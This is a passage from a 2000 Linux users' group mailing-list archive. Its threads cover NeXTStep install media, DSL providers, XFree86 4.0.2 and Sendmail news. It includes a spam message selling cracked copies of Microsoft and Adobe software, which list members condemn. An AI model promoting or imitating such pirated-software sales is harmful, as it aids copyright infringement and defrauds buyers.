17:38:42 2000 From: hick0088 at tc.umn.edu (Michael Hicks) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] [OT] NeXTStep/OpenStep operating system? Message-ID: <3A414302.3BD3F732@tc.umn.edu> For anyone who was following, I requested a little help regarding an old NeXTStation that my roommate picked up a while ago. We did manage to get some memory (32MB), but now we have another problem to deal with. The operating system that is installed on the system is NeXTStep 3.2. Probably not a terrible version, but it has been hacked to bits, since it was used in a network at the University's Math Department. Since it's so messed up, I think it really needs to be reinstalled/upgraded. However, I don't know where to get any installation media. It appears that Apple is no longer giving out that stuff [http://www.apple.com/enterprise/letter.html], but I'm not sure. Anyway, I'm looking for some installation media, and maybe a way to install it as well ;-) I think I or my roommate may have a SCSI CD-ROM drive that will work, but we'll have to see.. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Make it idiot proof and / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ someone will make a \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) better idiot. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From hick0088 at tc.umn.edu Wed Dec 20 18:08:00 2000 From: hick0088 at tc.umn.edu (Michael Hicks) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] [OT] NeXTStep/OpenStep operating system? Message-ID: <3A4149E0.6B4E0C95@tc.umn.edu> oops.. sent this to the wrong address.. -------- Original Message -------- For anyone who was following, I requested a little help regarding an old NeXTStation that my roommate picked up a while ago. We did manage to get some memory (32MB), but now we have another problem to deal with. The operating system that is installed on the system is NeXTStep 3.2. Probably not a terrible version, but it has been hacked to bits, since it was used in a network at the University's Math Department. Since it's so messed up, I think it really needs to be reinstalled/upgraded. However, I don't know where to get any installation media. It appears that Apple is no longer giving out that stuff [http://www.apple.com/enterprise/letter.html], but I'm not sure. Anyway, I'm looking for some installation media, and maybe a way to install it as well ;-) I think I or my roommate may have a SCSI CD-ROM drive that will work, but we'll have to see.. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Make it idiot proof and / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ someone will make a \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) better idiot. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From galst001 at tc.umn.edu Wed Dec 20 19:14:42 2000 From: galst001 at tc.umn.edu (Ethan Galstad) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] [OT] NeXTStep/OpenStep operating system? In-Reply-To: <3A414302.3BD3F732@tc.umn.edu> Message-ID: <200012210109.RAA10475@scaup.prod.itd.earthlink.net> From: Michael Hicks > For anyone who was following, I requested a little help regarding an old > NeXTStation that my roommate picked up a while ago. We did manage to get > some memory (32MB), but now we have another problem to deal with. The > operating system that is installed on the system is NeXTStep 3.2. Probably > not a terrible version, but it has been hacked to bits, since it was used > in a network at the University's Math Department. Since it's so messed > up, I think it really needs to be reinstalled/upgraded. However, I don't > know where to get any installation media. It appears that Apple is no > longer giving out that stuff > [http://www.apple.com/enterprise/letter.html], but I'm not sure. > > Anyway, I'm looking for some installation media, and maybe a way to > install it as well ;-) I think I or my roommate may have a SCSI CD-ROM > drive that will work, but we'll have to see.. I saved an old NeXTStation that was about to be thrown out two years ago and have the NeXTStep 3.2 installation CD (along with boot disk). I know they work, as I installed a new hard drive in the machine and reinstalled the OS at the time I salvaged it. Drop me an email offline tomorrow so I remember to see if I can make you a copy. Ethan Galstad --- Email: galst001@umn.edu Phone: (612)624-3725 From tanner at real-time.com Wed Dec 20 20:02:05 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Sendmail gets UM'd Message-ID: <20001220200205.O8735@real-time.com> http://computerworld.com/cwi/story/0%2C1199%2CNAV47_STO55450_NLTam%2C00.html I have been waiting for this day for YEARS! I always looked at the unified messaging stuff under Window/Exchange with envy, but I could not stomach the crashes. It would be very hard to tell a client I lost your voice mail because of a blue screen of death. :-) So, since this can of worms in open, are there any other UM products for linux? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From esper at sherohman.org Wed Dec 20 20:30:10 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Sendmail gets UM'd In-Reply-To: <20001220200205.O8735@real-time.com>; from tanner@real-time.com on Wed, Dec 20, 2000 at 08:02:05PM -0600 References: <20001220200205.O8735@real-time.com> Message-ID: <20001220203010.B3590@sherohman.org> On Wed, Dec 20, 2000 at 08:02:05PM -0600, Bob Tanner wrote: > http://computerworld.com/cwi/story/0%2C1199%2CNAV47_STO55450_NLTam%2C00.html Pretty decent article, until the very end: "Commercial Sendmail products build on top of the sendmail transfer protocol." I always thought SMTP stood for something else... -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From tobytoo at black-hole.com Wed Dec 20 20:49:02 2000 From: tobytoo at black-hole.com (b. toberman) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Qworst Select DSL and Linux ? References: <20001220122508.A17254@real-time.com> <3A412692.4BDCF413@black-hole.com> <3A412EC3.495C1BCC@ltiflex.com> Message-ID: <3A416F9E.90276EE8@black-hole.com> Gotcha, according to the lit thay sent me the Cisco was the only one that would work for me, I never knew what the other one was. Andy Zbikowski wrote: > "b. toberman" wrote: > > > > My Intel Pro card from Qwestionable works fine under Linux, I switched back in > > Sept. the driver is Intel Pro 100 on my machine. > > > > > Does the Intel Pro 2100 (Qworst dsl selecte hardware) even work under Linux? > > An Intel Pro NIC and the Intel Pro 2100 DSL modem are two different beasts. > Intel NICs work great under linux, the DSL modem doesn't, and probally never > will. (I haven't heard anything to the contrary anyway). The Cisco > modem/router thing just gives you an ethernet jack, thus the only OS driver > needed is for your NIC. > > I have a feeling that Qwest Select customers get peeved when they discover > that their net connection isn't always on and disconnects after 2 hours > wether you're using it or not. Most of the people I talked to while doing > ISP tech support saw value fly out the window when the 2 hour time limit > came into play. > > -- > Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com > LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 > 21801 Industrial Blvd | (FX) 763-428-9126 > Rogers, MN 55374 | (PCS) 612-306-6055 > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From jpschewe at eggplant.mtu.net Wed Dec 20 21:36:20 2000 From: jpschewe at eggplant.mtu.net (Jon Schewe) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL In-Reply-To: Nate Carlson's message of "Wed, 20 Dec 2000 17:24:25 -0600 (CST)" References: Message-ID: Nate Carlson writes: > On Wed, 20 Dec 2000, Jason DeStefano wrote: > > Just called onvoy. They dont provide DSL aymore. They only > > provide ISP service to Qwaste DSL customers. Go figure... > > Ah, so that's the deal. > > One of my clients called me up the other day, saying that his Covad > rep called him up and told him that Onvoy's DSL service was going away.. > but the Covad guy had things wrong, and said Onvoy is going out of > business. :) > That's interesting. I'm an Onvoy customer and have heard nothing of the sort. I can't see them going out of business either, since they provide service to most of hte large companies in the area. -- Jon Schewe | http://eggplant.mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 NOTE: My first name has no 'h' in it! Please be observant. From jack at jacku.com Wed Dec 20 21:49:04 2000 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? In-Reply-To: References: Message-ID: <00122021490400.01234@geezer> I'll weigh in on this one as well. I've been a programmer on and off for 15+ years, everything from 6502 assembly to an assortment of application specific scripting languages. I've also done end user support (help desk and non-help desk), been a sys admin, and a college instructor! People look at me as if my head has become detached from my shoulders like a hanging chad when I admit to liking support. Of course no matter what I start doing whereever I've been I always end up doing some coding as well as any other stuff. Happy holidays all! Jack On Wednesday 20 December 2000 13:42, you wrote: > That seems to be the exact niche I end up facing everywhere I turn - > whether it's Lotus Notes in Windows, or Workflow on UNIX - the most > positive response to my resume has universally been those companies that > need developers who not only can handle but atually like working both > sides of the fence - I DO get looked at as if I've sprouted antennae, > true, but that's more because they're not used to people who actually LIKE > doing both - particularly if it's in a production support environment as > opposed to purely admin or purely development. > > Liz > > On Wed, 20 Dec 2000, Dave Sherohman wrote: > > On Wed, Dec 20, 2000 at 11:42:45AM -0600, Kent Schumacher wrote: > > > work with Linux all day doing 50% admin and 50% development. > > > > How'd you manage to swing that? I've lately been telling people (both > > within my current company and hiring types from other companies) that I > > want to do a mix of admin and development work and they generally look > > at me like I've just sprouted antennae and tuned in a weather report. > > They seem to think that there are admins and there are programmers and > > never the twain shall meet. (Then there was the guy who said, "Oh, you > > mean IS? Sure, we've got lots of internal-use reports that need to be > > created."...) I can't help suspecting that, if I could phrase it in > > language they can understand, it would improve my chances of getting > > there. From jethro at freakzilla.com Wed Dec 20 22:45:55 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] X 4.0.2? Message-ID: Hey, Anyone using X 4.0.2? I just upgraded to it and... well... for some reason it goes insane when I try to dualhead (I think it's trying to run both monitors at the same rates... and one's a TV!). Also, "xset r rate 6 60" segfaults. Anyone else having problems/success? -Yaron -- From fritchie at mr.net Wed Dec 20 22:57:40 2000 From: fritchie at mr.net (Scott Lystig Fritchie) Date: Mon Jan 17 13:14:04 2005 Subject: [TCLUG] Sendmail gets UM'd In-Reply-To: Message of "Wed, 20 Dec 2000 20:30:10 CST." <20001220203010.B3590@sherohman.org> Message-ID: <200012210457.WAA90786@snookles.snookles.com> >>>>> "ds" == Dave Sherohman writes: ds> Pretty decent article, until the very end: "Commercial Sendmail ds> products build on top of the sendmail transfer protocol." I ds> always thought SMTP stood for something else... Simple Mail Transfer Protocol, as defined in RFC 821. http://www.isi.edu/in-notes/rfc821.txt. :-) -Scott --- Scott Lystig Fritchie, Sendmail, Inc. Professional Governing: Is It Faked? From tanner at real-time.com Wed Dec 20 23:41:12 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:05 2005 Subject: [TCLUG] XFree4.0.2 RPM or SRPMS Message-ID: <20001220234112.C30513@real-time.com> Anyone know where I can get the SRPMS or rpm for XFree86-4.0.2? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From heesun9 at mail.com Wed Dec 20 19:49:00 2000 From: heesun9 at mail.com (heesun9@mail.com) Date: Mon Jan 17 13:14:05 2005 Subject: [TCLUG] OS Software? Message-ID: <200012210723.eBL7NTn11994@sprite.real-time.com> Are you interested in Office 2000? I am selling perfectly working copies of Microsoft Office 2000 SR-1 Premium Edition for a flat price of $50 USD. The suite contains 4 discs and includes: Word Excel Outlook PowerPoint Access FrontPage Publisher Small Business Tools PhotoDraw Office Developer 2000 is available as well for $65 and is the Premium version with Developer Tools. As well, why not try out some of the greatest operating systems below? Microsoft Windows 98 SE $20 Microsoft Windows Millenium $20 Microsoft Windows 2000 Pro $20 Microsoft Windows 2000 Server $50 Microsoft Windows 2000 Advanced Server (25CAL) $65 If you would like to order, please email me. I accept checks, money orders, and PayPal(Allows use of credit cards with 3% surcharge.) The software are virus checked and copied correctly with the best software and hardware available. In other words, they work flawlessly. CDR's as you know cost very little and there is little reason for me to rip you off. The highest cost is the time and effort I spent in defeating the copy protection system properly. I will definitely send the software upon receipt of payment. Mand Some of our other titles that are available include: Adobe Acrobat 4.0 $20 Adobe AfterEffects 4.1 $29 Adobe Dimensions 3.0 $29 Adobe FrameMaker 5.5 $29 Adobe Illustrator 9 $29 Adobe Image Styler 1 $29 Adobe InDesign 1.5 $20 Adobe PageMaker 6.5 $29 Adobe Pagemill 3 $29 Adobe Photoshop 6 $35 Adobe Premiere 5.1 $29 Adobe Photodeluxe 3.0 $20 Adobe Pro Jpeg 3.0 $20 Adobe Streamline 4.0 $20 MS Exchange 2000 Server $35 MS Map Point 2000 $20 MS Money 2000 *Deluxe $25 MS Office 2000 Proffessional $35 (Word, Excel, Outlook, Access, Power Point & Front Page) MS Office 2000 Premium $50 (Everything Proffessional has plus Photodraw, Publisher, and Business tools) MS Office 2000 Prem. Developer $65 (Everything Premium has plus Powerful Tools for software developers) MS Project 2000 $30 MS SQL Server 7.0 $50 MS WIndows 95 $15 MS Windows 98 SE $20 MS Windows 2000 Pro $20 MS Windows 2000 Advanced Server $65 MS Windows Millenium (WinME) $20 MS Visio 2000 Server $50 MS Visual Basic 6 Professional $30 MS Visual Studio Enterprise 6.0 $55 (Visual Basic, Foxpro, C++, InterDev, J++) *Other titles available: Corel Draw 10 $30 Macromedia Flash 5 $30 Macromedia Fireworks 4 $30 Macromedia Dreamweaver 4 $30 From dieman at ringworld.org Thu Dec 21 01:24:32 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:05 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL In-Reply-To: ; from natecars@real-time.com on Wed, Dec 20, 2000 at 05:24:25PM -0600 References: Message-ID: <20001221012432.A31756@ringworld.org> * Nate Carlson [001220 17:33]: > but the Covad guy had things wrong, and said Onvoy is going out of > business. :) I would be very interested in any hard data you have on this. If this is the truth.... -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001221/850946ca/attachment.pgp From dieman at ringworld.org Thu Dec 21 01:26:15 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:05 2005 Subject: [TCLUG] XFree4.0.2 RPM or SRPMS In-Reply-To: <20001220234112.C30513@real-time.com>; from tanner@real-time.com on Wed, Dec 20, 2000 at 11:41:12PM -0600 References: <20001220234112.C30513@real-time.com> Message-ID: <20001221012615.B31756@ringworld.org> * Bob Tanner [001220 23:43]: > Anyone know where I can get the SRPMS or rpm for XFree86-4.0.2? I had trouble enough finding RPM's for 6.2 XFree86-4.0.1, i just ended up compiling from source. BTW, debian unstable has 4.0.1pre2.RC4-1 ... XFree86 4.0.2 Release Candidate 4. Innnnteresting :) -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001221/9d98dd3a/attachment.pgp From mkroska at readynetgo.com Thu Dec 21 01:35:37 2000 From: mkroska at readynetgo.com (Mark K) Date: Mon Jan 17 13:14:05 2005 Subject: [TCLUG] OS Software? In-Reply-To: <200012210723.eBL7NTn11994@sprite.real-time.com> Message-ID: What the...? I'm not sure I'd feel comfortable advocating a product that "defeated the copy protection system". People on this list work for reputable companies that have no reason to dabble in piracy issues. Peddle your warez elsewhere. MK On Wed, 20 Dec 2000 heesun9@mail.com wrote: > Are you interested in Office 2000? I am selling perfectly working > copies > of Microsoft Office 2000 SR-1 Premium Edition for a flat price of > $50 USD. > The suite contains 4 discs and includes: > > Word > Excel > Outlook > PowerPoint > Access > FrontPage > Publisher > Small Business Tools > PhotoDraw > > Office Developer 2000 is available as well for $65 and is the > Premium > version with Developer Tools. > > As well, why not try out some of the greatest operating systems > below? > > Microsoft Windows 98 SE $20 > Microsoft Windows Millenium $20 > Microsoft Windows 2000 Pro $20 > Microsoft Windows 2000 Server $50 > Microsoft Windows 2000 Advanced Server (25CAL) $65 > > If you would like to order, please email me. I accept checks, > money > orders, and PayPal(Allows use of credit cards with 3% surcharge.) > The > software are virus checked and copied correctly with the best > software > and hardware available. In other words, they work flawlessly. > CDR's as you > know cost very little and there is little reason for me to rip > you off. > The highest cost is the time and effort I spent in defeating the > copy > protection system properly. I will definitely send the software > upon > receipt of payment. > > Mand > > Some of our other titles that are available include: > > Adobe Acrobat 4.0 $20 > Adobe AfterEffects 4.1 $29 > Adobe Dimensions 3.0 $29 > Adobe FrameMaker 5.5 $29 > Adobe Illustrator 9 $29 > Adobe Image Styler 1 $29 > Adobe InDesign 1.5 $20 > Adobe PageMaker 6.5 $29 > Adobe Pagemill 3 $29 > Adobe Photoshop 6 $35 > Adobe Premiere 5.1 $29 > Adobe Photodeluxe 3.0 $20 > Adobe Pro Jpeg 3.0 $20 > Adobe Streamline 4.0 $20 > > MS Exchange 2000 Server $35 > MS Map Point 2000 $20 > MS Money 2000 *Deluxe $25 > MS Office 2000 Proffessional $35 > (Word, Excel, Outlook, Access, Power Point & Front Page) > MS Office 2000 Premium $50 > (Everything Proffessional has plus Photodraw, Publisher, and > Business > tools) > MS Office 2000 Prem. Developer $65 > (Everything Premium has plus Powerful Tools for software > developers) > MS Project 2000 $30 > MS SQL Server 7.0 $50 > MS WIndows 95 $15 > MS Windows 98 SE $20 > MS Windows 2000 Pro $20 > MS Windows 2000 Advanced Server $65 > MS Windows Millenium (WinME) $20 > MS Visio 2000 Server $50 > MS Visual Basic 6 Professional $30 > MS Visual Studio Enterprise 6.0 $55 > (Visual Basic, Foxpro, C++, InterDev, J++) > > *Other titles available: > > Corel Draw 10 $30 > Macromedia Flash 5 $30 > Macromedia Fireworks 4 $30 > Macromedia Dreamweaver 4 $30 > > > > > > > > > > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- ________________________________________________________ ReadyNET Go!, Inc. - Building your Business on the net ________________________________________________________ Mark J. Kroska MIS Director 320.656.0765 Voice 888.447.3239 Toll Free 320.203.7052 Fax http://www.readynetgo.com mailto:mkroska@readynetgo.com ________________________________________________________ From mkroska at readynetgo.com Thu Dec 21 01:35:37 2000 From: mkroska at readynetgo.com (Mark K) Date: Mon Jan 17 13:14:05 2005 Subject: [TCLUG] OS Software? In-Reply-To: <200012210723.eBL7NTn11994@sprite.real-time.com> Message-ID: What the...? I'm not sure I'd feel comfortable advocating a product that "defeated the copy protection system". People on this list work for reputable companies that have no reason to dabble in piracy issues. Peddle your warez elsewhere. MK On Wed, 20 Dec 2000 heesun9@mail.com wrote: > Are you interested in Office 2000? I am selling perfectly working > copies > of Microsoft Office 2000 SR-1 Premium Edition for a flat price of > $50 USD. > The suite contains 4 discs and includes: > > Word > Excel > Outlook > PowerPoint > Access > FrontPage > Publisher > Small Business Tools > PhotoDraw > > Office Developer 2000 is available as well for $65 and is the > Premium > version with Developer Tools. > > As well, why not try out some of the greatest operating systems > below? > > Microsoft Windows 98 SE $20 > Microsoft Windows Millenium $20 > Microsoft Windows 2000 Pro $20 > Microsoft Windows 2000 Server $50 > Microsoft Windows 2000 Advanced Server (25CAL) $65 > > If you would like to order, please email me. I accept checks, > money > orders, and PayPal(Allows use of credit cards with 3% surcharge.) > The > software are virus checked and copied correctly with the best > software > and hardware available. In other words, they work flawlessly. > CDR's as you > know cost very little and there is little reason for me to rip > you off. > The highest cost is the time and effort I spent in defeating the > copy > protection system properly. I will definitely send the software > upon > receipt of payment. > > Mand > > Some of our other titles that are available include: > > Adobe Acrobat 4.0 $20 > Adobe AfterEffects 4.1 $29 > Adobe Dimensions 3.0 $29 > Adobe FrameMaker 5.5 $29 > Adobe Illustrator 9 $29 > Adobe Image Styler 1 $29 > Adobe InDesign 1.5 $20 > Adobe PageMaker 6.5 $29 > Adobe Pagemill 3 $29 > Adobe Photoshop 6 $35 > Adobe Premiere 5.1 $29 > Adobe Photodeluxe 3.0 $20 > Adobe Pro Jpeg 3.0 $20 > Adobe Streamline 4.0 $20 > > MS Exchange 2000 Server $35 > MS Map Point 2000 $20 > MS Money 2000 *Deluxe $25 > MS Office 2000 Proffessional $35 > (Word, Excel, Outlook, Access, Power Point & Front Page) > MS Office 2000 Premium $50 > (Everything Proffessional has plus Photodraw, Publisher, and > Business > tools) > MS Office 2000 Prem. Developer $65 > (Everything Premium has plus Powerful Tools for software > developers) > MS Project 2000 $30 > MS SQL Server 7.0 $50 > MS WIndows 95 $15 > MS Windows 98 SE $20 > MS Windows 2000 Pro $20 > MS Windows 2000 Advanced Server $65 > MS Windows Millenium (WinME) $20 > MS Visio 2000 Server $50 > MS Visual Basic 6 Professional $30 > MS Visual Studio Enterprise 6.0 $55 > (Visual Basic, Foxpro, C++, InterDev, J++) > > *Other titles available: > > Corel Draw 10 $30 > Macromedia Flash 5 $30 > Macromedia Fireworks 4 $30 > Macromedia Dreamweaver 4 $30 > > > > > > > > > > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- ________________________________________________________ ReadyNET Go!, Inc. - Building your Business on the net ________________________________________________________ Mark J. Kroska MIS Director 320.656.0765 Voice 888.447.3239 Toll Free 320.203.7052 Fax http://www.readynetgo.com mailto:mkroska@readynetgo.com ________________________________________________________ From esper at sherohman.org Thu Dec 21 01:40:35 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:05 2005 Subject: [TCLUG] OS Software? In-Reply-To: ; from mkroska@readynetgo.com on Thu, Dec 21, 2000 at 01:35:37AM -0600 References: <200012210723.eBL7NTn11994@sprite.real-time.com> Message-ID: <20001221014034.D3590@sherohman.org> On Thu, Dec 21, 2000 at 01:35:37AM -0600, Mark K wrote: > What the...? I'm not sure I'd feel comfortable advocating a product that > "defeated the copy protection system". People on this list work for > reputable companies that have no reason to dabble in piracy issues. > Peddle your warez elsewhere. I got a copy of this same spam sent to my visi account yesterday. The only difference is that yesterday's copy was from heesun3@mail.com and this one was from heesun9@mail.com. Looks like the people at mail.com don't try to prevent spammers from signing back up with them. Aren't disposable accounts great? -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From tanner at real-time.com Thu Dec 21 01:41:24 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:05 2005 Subject: [TCLUG] OS Software? In-Reply-To: ; from mkroska@readynetgo.com on Thu, Dec 21, 2000 at 01:35:37AM -0600 References: <200012210723.eBL7NTn11994@sprite.real-time.com> Message-ID: <20001221014124.D30513@real-time.com> Quoting Mark K (mkroska@readynetgo.com): > > What the...? I'm not sure I'd feel comfortable advocating a product that > "defeated the copy protection system". People on this list work for > reputable companies that have no reason to dabble in piracy issues. > Peddle your warez elsewhere. I use openoffice, so why would I want any of this? I run linux, again, why would I want this? With open software, there is not such thing as piracy, it's called installfest. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From escargo at anubis.network.com Thu Dec 21 08:25:04 2000 From: escargo at anubis.network.com (David S. Cargo) Date: Mon Jan 17 13:14:05 2005 Subject: [TCLUG] [OT] NeXTStep/OpenStep operating system? Message-ID: <200012211425.IAA23086@rainier.network.com> You might want to try Deepspace Tech (http://www.deepspacetech.com/). I haven't dealt with them, but I bookmarked them some time ago since they sell Linux systems, too. dsc From veldy at veldy.net Thu Dec 21 08:34:18 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:14:05 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL References: <3A412196.E64F291A@innominatus.com> Message-ID: <006b01c06b5b$19e81510$9c29680a@tgt.com> I went through a similar scenario. I fought with USWest for over 18 months about DSL. I was sure I could get it - a hunch you might say - and the fact that I always received 51 to 53 Kbps connections with my Sportster. I talked with a tech in a newsgroup - unofficially, and he simulated my setup from records and said that technically, I should be able to get DSL. I could not convince USWest to rerun the loop test. Finally, VISI.com persuaded USWest to rerun a few tests - and in a window of about 3 days, I managed to get DSL from them. 256/256. I used VISI for quite some time. Then COVAD came around. They claimed that I was 11000 feet out and that I qualified for 1.5Mbps service. I went for it with Concentric (now XO) and Covad. I had quite a trial be fire getting the people out when I took the required time off work - but eventually I got my install. I am 13500 feet out. You might think, that I am right at the limit. Well - I am getting about 140 KB/s download and 39 KB/s uploads (yes, kilobytes). Damn near T1 down. Latency was bad (because XO was oversold) but a few complaints and a major network upgrade later - and I can say I have never had better service (technically). I worked with an excellent saleman at XO and things are going very well. Covad has it going for DSL and XO is now quite good providing the connectivity. No complaints. I would recommend them. Oh yeah - I am using the speedstream bridge - no router - but I use FreeBSD and/or Linux in between my network and the internet. Very happy with XO/Covad :) Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Jason J" To: Sent: Wednesday, December 20, 2000 3:16 PM Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL > The following is my pleasant experience with Onvoy/Covad. If you could > care less don't read anymore. > Very happy with Onvoy/Covad! Very peeved at Qwest(US West) > From dieman at ringworld.org Thu Dec 21 09:09:07 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL In-Reply-To: <006b01c06b5b$19e81510$9c29680a@tgt.com>; from veldy@veldy.net on Thu, Dec 21, 2000 at 08:34:18AM -0600 References: <3A412196.E64F291A@innominatus.com> <006b01c06b5b$19e81510$9c29680a@tgt.com> Message-ID: <20001221090907.C31756@ringworld.org> * Thomas T. Veldhouse [001221 08:40]: > down. Latency was bad (because XO was oversold) but a few complaints and a > major network upgrade later - and I can say I have never had better service Take a look at speakeasy for DSL/Covad too. They look to be an awesome ISP, and they get their bandwidth from pnap, which has an interesting network of their own. (www.internap.com) -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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In-Reply-To: <200012210723.eBL7NTn11994@sprite.real-time.com> Message-ID: <001a01c06b63$aa0eb9c0$e206a8c0@NEICOLTECH.ORG> > In other words, they work flawlessly. CDR's as you > know cost very little and there is little reason for me to rip > you off. > The highest cost is the time and effort I spent in defeating the > copy > protection system properly. I will definitely send the software > upon > receipt of payment. Look, it's a software pirate with a heart ;) Must be in the Christmas spirit or something... hehe - Jon From veldy at veldy.net Thu Dec 21 09:41:16 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL References: <3A422040.3397F1A4@fruitioninc.com> Message-ID: <014d01c06b64$752bf2d0$9c29680a@tgt.com> Doesn't mean they are not going out of business, but I do find it highly unlikely - as they have been around as MRNet for many years. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Jacqueline Urick" To: Sent: Thursday, December 21, 2000 9:22 AM Subject: Re: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL > > > > > > > That's interesting. I'm an Onvoy customer and have heard nothing of the > > sort. I can't see them going out of business either, since they provide > > service to most of hte large companies in the area. > > > > They aren't going out of business, they are "restructuring". See this > article: > > http://www.bizjournals.com/twincities/stories/2000/11/27/story1.html > > ~j > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From rgoldber at d.umn.edu Thu Dec 21 09:59:15 2000 From: rgoldber at d.umn.edu (rgoldber@d.umn.edu) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] [OT] NeXTStep/OpenStep operating system? In-Reply-To: <200012211425.IAA23086@rainier.network.com> Message-ID: On Thu, 21 Dec 2000, David S. Cargo wrote: >You might want to try Deepspace Tech (http://www.deepspacetech.com/). there's also http://blackholeinc.com/ - Ryan From b.layer at vikingelectronics.com Thu Dec 21 11:55:00 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] OS Software? In-Reply-To: <200012210723.eBL7NTn11994@sprite.real-time.com> References: <200012210723.eBL7NTn11994@sprite.real-time.com> Message-ID: <00122111550000.03972@Billbob_Linux> Hello, On Wednesday 20 December 2000 13:49, you wrote: > Are you interested in Office 2000? I am selling perfectly working > copies > of Microsoft Office 2000 SR-1 Premium Edition for a flat price of > $50 USD. Pardon me, but in the words of Mr. Garrison, "Are you a complete retard?" -- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | .:Bill Layer:. | Viking Electronics,Inc. 1531 Industrial St | | .:Sales Technician:. | Hudson, WI 54016 USA + 715.386.8861 x210 | | b.layer@vikingelectronics.com | http://www.vikingelectronics.com | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ "Telecom Solutions for the 